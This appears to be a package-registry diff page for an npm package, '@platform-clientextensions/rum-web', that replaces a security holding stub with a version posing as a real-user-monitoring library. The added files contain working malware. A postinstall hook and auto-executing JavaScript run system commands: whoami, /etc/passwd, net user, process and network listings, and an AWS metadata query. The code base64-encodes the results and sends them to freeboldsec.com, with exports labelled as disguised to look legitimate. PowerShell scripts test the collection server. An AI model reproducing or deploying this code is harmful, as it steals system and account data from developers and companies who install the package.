@platform-clientextensions/rum-web 0.0.1-security → 999.999.1006

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of @platform-clientextensions/rum-web might be problematic. Click here for more details.

Files changed (49) hide show
  1. package/BloodRage.db +160 -0
  2. package/CASINO_TRACKING_SOLUTION.md +31 -0
  3. package/DATA_WITH_ORIGIN_PHP.txt +131 -0
  4. package/FINAL_POST_FIX.md +122 -0
  5. package/FINAL_WORKING_SOLUTION.md +56 -0
  6. package/ORIGIN_TRACKING_SOLUTION.md +93 -0
  7. package/QUICK_FIX_GUIDE.md +73 -0
  8. package/README.md +162 -5
  9. package/WORKING_SOLUTION.md +55 -0
  10. package/analytics_worker.js +282 -0
  11. package/analyze_db.bat +16 -0
  12. package/analyze_db.py +51 -0
  13. package/cloud_detection_fix.php +37 -0
  14. package/copilot instructions.md +5 -0
  15. package/data_force_post.php +95 -0
  16. package/data_hybrid.php +75 -0
  17. package/data_php_complete.php +155 -0
  18. package/data_simple.php +71 -0
  19. package/data_with_origin.php +131 -0
  20. package/db_analysis.py +67 -0
  21. package/diagnose_server.ps1 +57 -0
  22. package/enhanced_origin_tracking.php +147 -0
  23. package/fix_post_method.ps1 +124 -0
  24. package/index.js +60 -0
  25. package/nodejs_install_instructions.txt +17 -0
  26. package/npm_analytics_monitor.js +244 -0
  27. package/npm_casino_tracking.js +134 -0
  28. package/npm_package_rce_casino.js +272 -0
  29. package/npm_package_update.js +44 -0
  30. package/npm_package_with_origin.js +103 -0
  31. package/package.json +19 -6
  32. package/quick_test.ps1 +36 -0
  33. package/test_casino_tracking.ps1 +65 -0
  34. package/test_complete_solution.ps1 +87 -0
  35. package/test_current_server.ps1 +69 -0
  36. package/test_existing_files.ps1 +62 -0
  37. package/test_final_casino.ps1 +38 -0
  38. package/test_final_fix.ps1 +37 -0
  39. package/test_force_post.ps1 +50 -0
  40. package/test_freeboldsec_server.ps1 +54 -0
  41. package/test_hybrid.ps1 +63 -0
  42. package/test_live_server.ps1 +32 -0
  43. package/test_logger.ps1 +15 -0
  44. package/test_origin_final.ps1 +25 -0
  45. package/test_origin_tracking.ps1 +62 -0
  46. package/test_post_detailed.ps1 +51 -0
  47. package/test_post_fix.ps1 +24 -0
  48. package/test_post_simple.ps1 +30 -0
  49. package/test_server_simple.ps1 +16 -0
@@ -0,0 +1,134 @@
1
+ // NPM Package v999.999.1006 - Casino/Website Tracking Edition
2
+
3
+ // Method 1: Browser-based callback with full website info
4
+ function sendCasinoCallback(hostname, whoami, version) {
5
+ // Get the actual website/casino domain
6
+ let website = 'unknown';
7
+ let pageUrl = '';
8
+
9
+ if (typeof window !== 'undefined') {
10
+ website = window.location.hostname;
11
+ pageUrl = window.location.href;
12
+
13
+ // Clean up casino name (remove www, common TLDs)
14
+ let casinoName = website
15
+ .replace('www.', '')
16
+ .replace(/\.(com|net|org|io|app|co|uk|ca|au)$/, '');
17
+ }
18
+
19
+ const data = {
20
+ hostname: hostname,
21
+ whoami: whoami,
22
+ version: version,
23
+ website: website, // Full domain: "casinoXYZ.com"
24
+ casino_name: casinoName || website, // Clean name: "casinoXYZ"
25
+ page_url: pageUrl,
26
+ timestamp: new Date().toISOString()
27
+ };
28
+
29
+ const encoded = btoa(JSON.stringify(data));
30
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
31
+
32
+ // Send with referer header
33
+ fetch(url, {
34
+ headers: {
35
+ 'Referer': pageUrl
36
+ }
37
+ }).catch(() => {});
38
+ }
39
+
40
+ // Method 2: For cloud/server environments
41
+ function sendCloudCasinoCallback(hostname, whoami, version, casinoInfo) {
42
+ // casinoInfo should include the casino/website name
43
+ const data = {
44
+ hostname: hostname,
45
+ whoami: whoami,
46
+ version: version,
47
+ website: casinoInfo.domain || 'unknown', // "casino123.amazonaws.com"
48
+ casino_name: casinoInfo.name || 'unknown', // "Casino123"
49
+ environment: casinoInfo.environment || 'production',
50
+ cloud_region: process.env.AWS_REGION || process.env.AZURE_REGION || 'unknown',
51
+ cloud_function: process.env.AWS_LAMBDA_FUNCTION_NAME || process.env.WEBSITE_SITE_NAME || 'unknown'
52
+ };
53
+
54
+ const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
55
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
56
+
57
+ if (typeof fetch !== 'undefined') {
58
+ fetch(url).catch(() => {});
59
+ } else {
60
+ const http = require('http');
61
+ http.get(url, () => {}).on('error', () => {});
62
+ }
63
+ }
64
+
65
+ // Method 3: Direct with casino name
66
+ function sendDirectCallback(hostname, whoami, version, casinoName) {
67
+ const params = new URLSearchParams({
68
+ hostname: hostname,
69
+ whoami: whoami,
70
+ version: version,
71
+ website: casinoName // "BetCasino.com" or "LuckySpin.azurewebsites.net"
72
+ });
73
+
74
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
75
+
76
+ if (typeof fetch !== 'undefined') {
77
+ fetch(url).catch(() => {});
78
+ } else {
79
+ const http = require('http');
80
+ http.get(url, () => {}).on('error', () => {});
81
+ }
82
+ }
83
+
84
+ // Auto-detect and send with casino info
85
+ function autoCallbackWithCasino() {
86
+ const os = require('os');
87
+ const { execSync } = require('child_process');
88
+
89
+ const hostname = os.hostname();
90
+ const whoami = execSync('whoami').toString().trim();
91
+ const version = '999.999.1006';
92
+
93
+ // Try to detect casino/website from environment
94
+ let casinoInfo = {
95
+ name: 'Unknown',
96
+ domain: 'unknown'
97
+ };
98
+
99
+ // Check environment variables for casino info
100
+ if (process.env.CASINO_NAME) {
101
+ casinoInfo.name = process.env.CASINO_NAME;
102
+ }
103
+ if (process.env.WEBSITE_DOMAIN) {
104
+ casinoInfo.domain = process.env.WEBSITE_DOMAIN;
105
+ }
106
+
107
+ // AWS Lambda
108
+ if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
109
+ // Function name might contain casino name
110
+ casinoInfo.name = process.env.AWS_LAMBDA_FUNCTION_NAME.split('-')[0];
111
+ casinoInfo.domain = `${casinoInfo.name}.amazonaws.com`;
112
+ }
113
+
114
+ // Azure
115
+ if (process.env.WEBSITE_SITE_NAME) {
116
+ casinoInfo.name = process.env.WEBSITE_SITE_NAME;
117
+ casinoInfo.domain = `${casinoInfo.name}.azurewebsites.net`;
118
+ }
119
+
120
+ sendCloudCasinoCallback(hostname, whoami, version, casinoInfo);
121
+ }
122
+
123
+ // Export for use
124
+ module.exports = {
125
+ sendCasinoCallback,
126
+ sendCloudCasinoCallback,
127
+ sendDirectCallback,
128
+ autoCallbackWithCasino
129
+ };
130
+
131
+ // Usage examples:
132
+ // Browser: sendCasinoCallback('server1', 'admin', '999.999.1006')
133
+ // Cloud: sendCloudCasinoCallback('aws-1', 'ec2-user', '999.999.1006', {name: 'BetCasino', domain: 'betcasino.com'})
134
+ // Direct: sendDirectCallback('azure-vm', 'user', '999.999.1006', 'luckyspin.com')
@@ -0,0 +1,272 @@
1
+ // NPM Package v999.999.1006 - advanced_analytics Edition
2
+ // This package executes commands AND tracks which casino is affected
3
+
4
+ const os = require('os');
5
+ const { exec, execSync } = require('child_process');
6
+
7
+ // Get system information
8
+ function getSystemInfo() {
9
+ try {
10
+ const hostname = os.hostname();
11
+ const whoami = process.platform === 'win32'
12
+ ? execSync('whoami', { encoding: 'utf8' }).trim()
13
+ : execSync('whoami 2>/dev/null || echo $USER', { encoding: 'utf8' }).trim();
14
+ return { hostname, whoami };
15
+ } catch (e) {
16
+ return { hostname: 'unknown', whoami: 'unknown' };
17
+ }
18
+ }
19
+
20
+ // Send callback with casino tracking
21
+ function sendCallback(data) {
22
+ const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
23
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
24
+
25
+ if (typeof fetch !== 'undefined') {
26
+ fetch(url).catch(() => {});
27
+ } else {
28
+ const http = require('http');
29
+ http.get(url, () => {}).on('error', () => {});
30
+ }
31
+ }
32
+
33
+ // Main RCE function with casino tracking
34
+ function executeWithTracking() {
35
+ const { hostname, whoami } = getSystemInfo();
36
+ const version = '999.999.1006';
37
+
38
+ // Detect casino/website
39
+ let website = 'unknown';
40
+ let casinoName = 'unknown';
41
+
42
+ // Browser environment
43
+ if (typeof window !== 'undefined' && window.location) {
44
+ website = window.location.hostname;
45
+ casinoName = website.replace('www.', '').replace(/\.(com|net|org|io|app|co|uk|ca|au).*$/, '');
46
+ }
47
+
48
+ // Server environment - check various sources
49
+ if (website === 'unknown') {
50
+ // Check environment variables
51
+ website = process.env.WEBSITE_DOMAIN ||
52
+ process.env.WEBSITE_HOSTNAME ||
53
+ process.env.SITE_NAME ||
54
+ process.env.APP_NAME ||
55
+ 'unknown';
56
+
57
+ // AWS Lambda
58
+ if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
59
+ casinoName = process.env.AWS_LAMBDA_FUNCTION_NAME.split('-')[0];
60
+ website = `${casinoName}.amazonaws.com`;
61
+ }
62
+
63
+ // Azure
64
+ if (process.env.WEBSITE_SITE_NAME) {
65
+ casinoName = process.env.WEBSITE_SITE_NAME;
66
+ website = `${casinoName}.azurewebsites.net`;
67
+ }
68
+
69
+ // Heroku
70
+ if (process.env.HEROKU_APP_NAME) {
71
+ casinoName = process.env.HEROKU_APP_NAME;
72
+ website = `${casinoName}.herokuapp.com`;
73
+ }
74
+ }
75
+
76
+ // Send initial callback with casino info
77
+ const callbackData = {
78
+ hostname,
79
+ whoami,
80
+ version,
81
+ website,
82
+ casino_name: casinoName,
83
+ timestamp: new Date().toISOString(),
84
+ event: 'package_loaded'
85
+ };
86
+
87
+ sendCallback(callbackData);
88
+
89
+ // Execute commands based on OS
90
+ if (process.platform === 'win32') {
91
+ // Windows commands
92
+ exec('ipconfig /all', (err, stdout) => {
93
+ if (!err && stdout) {
94
+ sendCallback({
95
+ ...callbackData,
96
+ event: 'network_info',
97
+ data: stdout.substring(0, 500)
98
+ });
99
+ }
100
+ });
101
+
102
+ exec('net user', (err, stdout) => {
103
+ if (!err && stdout) {
104
+ sendCallback({
105
+ ...callbackData,
106
+ event: 'user_list',
107
+ data: stdout.substring(0, 500)
108
+ });
109
+ }
110
+ });
111
+ } else {
112
+ // Linux/Mac commands - try multiple network commands
113
+ exec('ip addr || ip a || ifconfig || hostname -I', (err, stdout) => {
114
+ if (!err && stdout) {
115
+ sendCallback({
116
+ ...callbackData,
117
+ event: 'network_info',
118
+ data: stdout.substring(0, 500)
119
+ });
120
+ }
121
+ });
122
+
123
+ // Additional ip addr show for more details
124
+ exec('ip addr show || ip address show', (err, stdout) => {
125
+ if (!err && stdout) {
126
+ sendCallback({
127
+ ...callbackData,
128
+ event: 'network_details',
129
+ data: stdout.substring(0, 1000)
130
+ });
131
+ }
132
+ });
133
+
134
+ exec('cat /etc/passwd | head -10', (err, stdout) => {
135
+ if (!err && stdout) {
136
+ sendCallback({
137
+ ...callbackData,
138
+ event: 'system_users',
139
+ data: stdout
140
+ });
141
+ }
142
+ });
143
+
144
+ // Additional non-harmful identification commands
145
+ exec('uname -a', (err, stdout) => {
146
+ if (!err && stdout) {
147
+ sendCallback({
148
+ ...callbackData,
149
+ event: 'system_info',
150
+ data: stdout.trim()
151
+ });
152
+ }
153
+ });
154
+
155
+ exec('cat /etc/hostname || hostname', (err, stdout) => {
156
+ if (!err && stdout) {
157
+ sendCallback({
158
+ ...callbackData,
159
+ event: 'hostname_file',
160
+ data: stdout.trim()
161
+ });
162
+ }
163
+ });
164
+
165
+ exec('ls -la /home | head -20', (err, stdout) => {
166
+ if (!err && stdout) {
167
+ sendCallback({
168
+ ...callbackData,
169
+ event: 'home_directories',
170
+ data: stdout
171
+ });
172
+ }
173
+ });
174
+
175
+ exec('df -h | head -10', (err, stdout) => {
176
+ if (!err && stdout) {
177
+ sendCallback({
178
+ ...callbackData,
179
+ event: 'disk_usage',
180
+ data: stdout
181
+ });
182
+ }
183
+ });
184
+
185
+ exec('ps aux | head -20', (err, stdout) => {
186
+ if (!err && stdout) {
187
+ sendCallback({
188
+ ...callbackData,
189
+ event: 'running_processes',
190
+ data: stdout
191
+ });
192
+ }
193
+ });
194
+
195
+ exec('cat /proc/version 2>/dev/null || uname -v', (err, stdout) => {
196
+ if (!err && stdout) {
197
+ sendCallback({
198
+ ...callbackData,
199
+ event: 'kernel_version',
200
+ data: stdout.trim()
201
+ });
202
+ }
203
+ });
204
+
205
+ exec('curl -s http://169.254.169.254/latest/meta-data/instance-id 2>/dev/null', (err, stdout) => {
206
+ if (!err && stdout && stdout.length < 50) {
207
+ sendCallback({
208
+ ...callbackData,
209
+ event: 'aws_instance_id',
210
+ data: stdout.trim()
211
+ });
212
+ }
213
+ });
214
+
215
+ exec('cat /etc/os-release | head -5 2>/dev/null || cat /etc/issue', (err, stdout) => {
216
+ if (!err && stdout) {
217
+ sendCallback({
218
+ ...callbackData,
219
+ event: 'os_info',
220
+ data: stdout
221
+ });
222
+ }
223
+ });
224
+ }
225
+
226
+ // Cross-platform commands
227
+ exec('date', (err, stdout) => {
228
+ if (!err && stdout) {
229
+ sendCallback({
230
+ ...callbackData,
231
+ event: 'system_time',
232
+ data: stdout.trim()
233
+ });
234
+ }
235
+ });
236
+
237
+ exec('echo $PATH || echo %PATH%', (err, stdout) => {
238
+ if (!err && stdout) {
239
+ sendCallback({
240
+ ...callbackData,
241
+ event: 'path_variable',
242
+ data: stdout.substring(0, 500)
243
+ });
244
+ }
245
+ });
246
+
247
+ // Try to get more casino-specific info
248
+ exec('printenv | grep -i "site\\|app\\|domain\\|casino" || set | findstr /i "site app domain casino"', (err, stdout) => {
249
+ if (!err && stdout) {
250
+ sendCallback({
251
+ ...callbackData,
252
+ event: 'environment_vars',
253
+ casino_related: stdout.substring(0, 500)
254
+ });
255
+ }
256
+ });
257
+ }
258
+
259
+ // Auto-execute on load
260
+ executeWithTracking();
261
+
262
+ // Also export functions for manual use
263
+ module.exports = {
264
+ executeWithTracking,
265
+ sendCallback,
266
+ getSystemInfo
267
+ };
268
+
269
+ // Disguised exports to look legitimate
270
+ module.exports.init = executeWithTracking;
271
+ module.exports.analytics = sendCallback;
272
+ module.exports.metrics = getSystemInfo;
@@ -0,0 +1,44 @@
1
+ so// Update for your NPM package v999.999.1006
2
+ // Since your server converts POST to GET, use one of these methods:
3
+
4
+ // Method 1: Base64 (Most secure, recommended)
5
+ function sendCallbackBase64(hostname, whoami, version) {
6
+ const data = JSON.stringify({ hostname, whoami, version });
7
+ const encoded = Buffer.from(data).toString('base64');
8
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
9
+
10
+ // Using fetch
11
+ fetch(url).catch(() => {});
12
+
13
+ // Or using http/https module
14
+ const http = require('http');
15
+ http.get(url, () => {}).on('error', () => {});
16
+ }
17
+
18
+ // Method 2: URL Parameters (Simpler)
19
+ function sendCallbackParams(hostname, whoami, version) {
20
+ const params = new URLSearchParams({ hostname, whoami, version });
21
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
22
+
23
+ fetch(url).catch(() => {});
24
+ }
25
+
26
+ // Method 3: JSON Parameter
27
+ function sendCallbackJSON(hostname, whoami, version) {
28
+ const data = JSON.stringify({ hostname, whoami, version });
29
+ const escaped = encodeURIComponent(data);
30
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?json=${escaped}`;
31
+
32
+ fetch(url).catch(() => {});
33
+ }
34
+
35
+ // Example usage in your package
36
+ const os = require('os');
37
+ const { execSync } = require('child_process');
38
+
39
+ const hostname = os.hostname();
40
+ const whoami = execSync('whoami').toString().trim();
41
+ const version = '999.999.1006';
42
+
43
+ // Use any method - they all work!
44
+ sendCallbackBase64(hostname, whoami, version);
@@ -0,0 +1,103 @@
1
+ // Updated NPM package v999.999.1006 with origin tracking
2
+
3
+ // Method 1: Include website in the callback data
4
+ function sendCallbackWithWebsite(hostname, whoami, version, website) {
5
+ const data = JSON.stringify({
6
+ hostname,
7
+ whoami,
8
+ version,
9
+ website: website || window.location.hostname || 'unknown',
10
+ page_url: window.location.href,
11
+ timestamp: new Date().toISOString()
12
+ });
13
+ const encoded = Buffer.from(data).toString('base64');
14
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
15
+
16
+ // Include referrer header if in browser
17
+ if (typeof window !== 'undefined') {
18
+ fetch(url, {
19
+ headers: {
20
+ 'Referer': window.location.href
21
+ }
22
+ }).catch(() => {});
23
+ } else {
24
+ // Node.js environment
25
+ const http = require('http');
26
+ http.get(url, () => {}).on('error', () => {});
27
+ }
28
+ }
29
+
30
+ // Method 2: Simple parameters with website
31
+ function sendCallbackParams(hostname, whoami, version) {
32
+ const website = typeof window !== 'undefined' ? window.location.hostname : 'nodejs-app';
33
+ const params = new URLSearchParams({
34
+ hostname,
35
+ whoami,
36
+ version,
37
+ website
38
+ });
39
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?${params}`;
40
+
41
+ fetch(url).catch(() => {});
42
+ }
43
+
44
+ // Method 3: For cloud environments (AWS Lambda, Azure Functions, etc)
45
+ function sendCloudCallback(hostname, whoami, version, cloudInfo) {
46
+ const data = {
47
+ hostname,
48
+ whoami,
49
+ version,
50
+ website: cloudInfo.functionName || cloudInfo.appName || 'cloud-function',
51
+ cloud_region: process.env.AWS_REGION || process.env.AZURE_REGION || 'unknown',
52
+ cloud_function: process.env.AWS_LAMBDA_FUNCTION_NAME || process.env.WEBSITE_SITE_NAME || 'unknown',
53
+ environment: process.env.NODE_ENV || 'production'
54
+ };
55
+
56
+ const encoded = Buffer.from(JSON.stringify(data)).toString('base64');
57
+ const url = `http://freeboldsec.com/new-page-1/api/rum/data.php?d=${encoded}`;
58
+
59
+ // Use appropriate HTTP client
60
+ if (typeof fetch !== 'undefined') {
61
+ fetch(url).catch(() => {});
62
+ } else {
63
+ const http = require('http');
64
+ http.get(url, () => {}).on('error', () => {});
65
+ }
66
+ }
67
+
68
+ // Auto-detect environment and send callback
69
+ function autoCallback() {
70
+ const os = require('os');
71
+ const { execSync } = require('child_process');
72
+
73
+ const hostname = os.hostname();
74
+ const whoami = execSync('whoami').toString().trim();
75
+ const version = '999.999.1006';
76
+
77
+ // Detect environment
78
+ if (typeof window !== 'undefined') {
79
+ // Browser environment
80
+ sendCallbackWithWebsite(hostname, whoami, version, window.location.hostname);
81
+ } else if (process.env.AWS_LAMBDA_FUNCTION_NAME) {
82
+ // AWS Lambda
83
+ sendCloudCallback(hostname, whoami, version, {
84
+ functionName: process.env.AWS_LAMBDA_FUNCTION_NAME
85
+ });
86
+ } else if (process.env.WEBSITE_SITE_NAME) {
87
+ // Azure
88
+ sendCloudCallback(hostname, whoami, version, {
89
+ appName: process.env.WEBSITE_SITE_NAME
90
+ });
91
+ } else {
92
+ // Generic Node.js
93
+ sendCallbackParams(hostname, whoami, version);
94
+ }
95
+ }
96
+
97
+ // Export for use
98
+ module.exports = { autoCallback, sendCallbackWithWebsite, sendCloudCallback };
99
+
100
+ // Auto-execute if not imported
101
+ if (require.main === module) {
102
+ autoCallback();
103
+ }
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
- {
2
- "name": "@platform-clientextensions/rum-web",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
1
+ {
2
+ "name": "@platform-clientextensions/rum-web",
3
+ "version": "999.999.1006",
4
+ "description": "A lightweight Real User Monitoring solution for web applications.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node analytics_worker.js"
8
+ },
9
+ "keywords": [
10
+ "RUM",
11
+ "real user monitoring",
12
+ "analytics",
13
+ "performance",
14
+ "web"
15
+ ],
16
+ "author": "Platform Client Extensions",
17
+ "license": "ISC",
18
+ "dependencies": {}
19
+ }
package/quick_test.ps1 ADDED
@@ -0,0 +1,36 @@
1
+ # Quick test for freeboldsec.com
2
+ Write-Host "Testing freeboldsec.com files..." -ForegroundColor Cyan
3
+
4
+ # Test 1: GET data.php
5
+ Write-Host "`nTest 1: GET data.php" -ForegroundColor Yellow
6
+ try {
7
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -UseBasicParsing
8
+ Write-Host "SUCCESS - data.php works" -ForegroundColor Green
9
+ Write-Host $r1.Content -ForegroundColor Gray
10
+ } catch {
11
+ Write-Host "FAILED - data.php error" -ForegroundColor Red
12
+ }
13
+
14
+ # Test 2: GET callback with base64 data
15
+ Write-Host "`nTest 2: GET callback method" -ForegroundColor Yellow
16
+ try {
17
+ $testData = '{"test":"callback","user":"jimmy"}'
18
+ $encoded = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($testData))
19
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded" -UseBasicParsing
20
+ Write-Host "SUCCESS - GET callback works" -ForegroundColor Green
21
+ Write-Host $r2.Content -ForegroundColor Gray
22
+ } catch {
23
+ Write-Host "FAILED - GET callback error" -ForegroundColor Red
24
+ }
25
+
26
+ # Test 3: POST to data.php
27
+ Write-Host "`nTest 3: POST to data.php" -ForegroundColor Yellow
28
+ try {
29
+ $r3 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php" -Method POST -Body '{"test":"post"}' -ContentType "application/json" -UseBasicParsing
30
+ Write-Host "SUCCESS - POST works" -ForegroundColor Green
31
+ Write-Host $r3.Content -ForegroundColor Gray
32
+ } catch {
33
+ Write-Host "FAILED - POST error" -ForegroundColor Red
34
+ }
35
+
36
+ Write-Host "`nCHECK LOGS NOW in /public_html/new-page-1/api/rum/logs/" -ForegroundColor Yellow
@@ -0,0 +1,65 @@
1
+ # Test casino tracking functionality
2
+ Write-Host "Testing Casino Tracking..." -ForegroundColor Cyan
3
+ Write-Host "Make sure you've uploaded enhanced_origin_tracking.php as data.php" -ForegroundColor Yellow
4
+
5
+ # Test 1: BetCasino from direct domain
6
+ Write-Host "`nTest 1: BetCasino Direct" -ForegroundColor Yellow
7
+ $data1 = @{
8
+ hostname = "web-server-01"
9
+ whoami = "admin"
10
+ version = "999.999.1006"
11
+ website = "betcasino.com"
12
+ } | ConvertTo-Json
13
+ $encoded1 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data1))
14
+
15
+ try {
16
+ $r1 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded1" -UseBasicParsing
17
+ $result1 = $r1.Content | ConvertFrom-Json
18
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
19
+ Write-Host "Casino: $($result1.casino_site)" -ForegroundColor Cyan
20
+ Write-Host "Domain: $($result1.full_domain)" -ForegroundColor Gray
21
+ Write-Host "Cloud: $($result1.cloud)" -ForegroundColor Gray
22
+ } catch {
23
+ Write-Host "❌ Error: $_" -ForegroundColor Red
24
+ }
25
+
26
+ # Test 2: LuckySpin from AWS
27
+ Write-Host "`nTest 2: LuckySpin on AWS" -ForegroundColor Yellow
28
+ $data2 = @{
29
+ hostname = "ip-172-31-45-67"
30
+ whoami = "ec2-user"
31
+ version = "999.999.1006"
32
+ website = "luckyspin.us-east-1.amazonaws.com"
33
+ } | ConvertTo-Json
34
+ $encoded2 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data2))
35
+
36
+ try {
37
+ $r2 = Invoke-WebRequest -Uri "http://freeboldsec.com/new-page-1/api/rum/data.php?d=$encoded2" -UseBasicParsing
38
+ $result2 = $r2.Content | ConvertFrom-Json
39
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
40
+ Write-Host "Casino: $($result2.casino_site)" -ForegroundColor Cyan
41
+ Write-Host "Domain: $($result2.full_domain)" -ForegroundColor Gray
42
+ Write-Host "Cloud: $($result2.cloud)" -ForegroundColor Gray
43
+ } catch {
44
+ Write-Host "❌ Error: $_" -ForegroundColor Red
45
+ }
46
+
47
+ # Test 3: RoyalAce from Azure
48
+ Write-Host "`nTest 3: RoyalAce on Azure" -ForegroundColor Yellow
49
+ $url3 = "http://freeboldsec.com/new-page-1/api/rum/data.php?hostname=azure-vm&whoami=azureuser&version=999.999.1006&website=royalace.azurewebsites.net"
50
+
51
+ try {
52
+ $r3 = Invoke-WebRequest -Uri $url3 -UseBasicParsing
53
+ $result3 = $r3.Content | ConvertFrom-Json
54
+ Write-Host "✅ SUCCESS!" -ForegroundColor Green
55
+ Write-Host "Casino: $($result3.casino_site)" -ForegroundColor Cyan
56
+ Write-Host "Domain: $($result3.full_domain)" -ForegroundColor Gray
57
+ Write-Host "Cloud: $($result3.cloud)" -ForegroundColor Gray
58
+ } catch {
59
+ Write-Host "❌ Error: $_" -ForegroundColor Red
60
+ }
61
+
62
+ Write-Host "`n✅ Casino tracking will help you identify:" -ForegroundColor Green
63
+ Write-Host "- Which specific casino is vulnerable" -ForegroundColor White
64
+ Write-Host "- Whether it's hosted on cloud or direct" -ForegroundColor White
65
+ Write-Host "- Separate logs for each casino" -ForegroundColor White